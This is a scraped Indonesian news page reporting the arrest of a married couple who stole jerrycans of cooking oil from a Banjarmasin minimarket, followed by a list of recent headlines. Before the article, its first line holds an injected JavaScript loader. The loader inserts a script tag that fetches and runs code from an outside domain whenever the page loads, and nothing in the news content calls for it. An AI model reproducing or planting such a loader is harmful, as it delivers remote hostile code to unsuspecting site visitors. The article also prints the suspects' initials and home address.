(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Curi Minyak Goreng di Minimarket, Pasutri Digiring ke Bui Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Pasangan suami istri harus masuk sel tahanan polisi gegara melakukan pencurian minyak goreng di minimarket.

Adalah MR (32) dan E (31) warga jalan Barito Hilir No 29 RT 3 Kelurahan Telaga Biru, Kecamatan Banjarmasin Barat, Kota Banjarmasin, dua orang pasangan suami istri dibekuk Polsek Banjarmasin Barat.

Kapolsek Banjarmasin Barat melalui Kanit Reskrim Iptu Firuza Bahri awalnya menerima laporan dari PT Indomarco Primasta ada pencurian di salah satu cabang ritel yang ada di jalan Teluk Tiram, Kelurahan Telawang, Kota Banjarmasin.

Menurut Iptu Firuza, saksi kasir Meliasari yang melihat kejadian pencurian pada tanggal 4 Mei 2023 sekitar pukul 19.30 Wita, awalnya curiga dengan gerik-gerik kedua tersangka di dalam minimarket.

Baca juga: Pameran Lukisan Tunggal di Mess L, “Jejak” 40 Karya Muslim Anang Abdullah Empat Dekade

“Saksi mengawasi dari belakang kasir, saat pelaku mengambil jerigen minyak merek Bimoli kemudian dimasukkan ke dalam tas dan langsung keluar tanpa membayar,” jelas Iptu Firuza, Kamis (11/5/2023) pagi.

Selanjutnya, setelah kedua pelaku kabur menggunakan sepeda motor, saksi langsung mengejar dan berteriak maling.

Usaha kedua pelaku gagal karena saat kabur dengan mengendarai sepeda motor keduanya tertabrak pengendara lain yang lewat di jalan sekitar lokasi kejadian, sehingga berhasil diamankan warga.

“Pihak minimarket mengalami kerugian 1 jerigen minyak goreng merk Bimoli kemasan 5 liter seharga Rp 110 ribu,” terangnya.

Barang bukti Migor kemasan yang disita dari pasutri pelaku pencurian. Foto: polsekbjmbarat

Baca juga: Korupsi Dana KIP Mahasiswa, Eks Wakil Rektor UNU Kalsel Dituntut 7,5 Tahun Penjara

Kedua pelaku kemudian diamankan ke Mapolsek Banjarmasin Barat beserta barang bukti 5 jerigen migor merk Bimoli ukuran 5 liter, 6 bungkus Bimoli isi 2 liter, 1 unit sepeda motor warna hitam nopol DA 6742 CO dan 1 buah tas warna hitam bertuliskan Marvel.

Pelaku MR dan E diancam dengan Pasal 363 KUHP tentang pencurian dengan pemberatan (curat) dengan ancaman hukuman penjara paling lama 7 tahun. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

8 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

8 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

9 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

9 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

9 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

9 jam ago

This website uses cookies.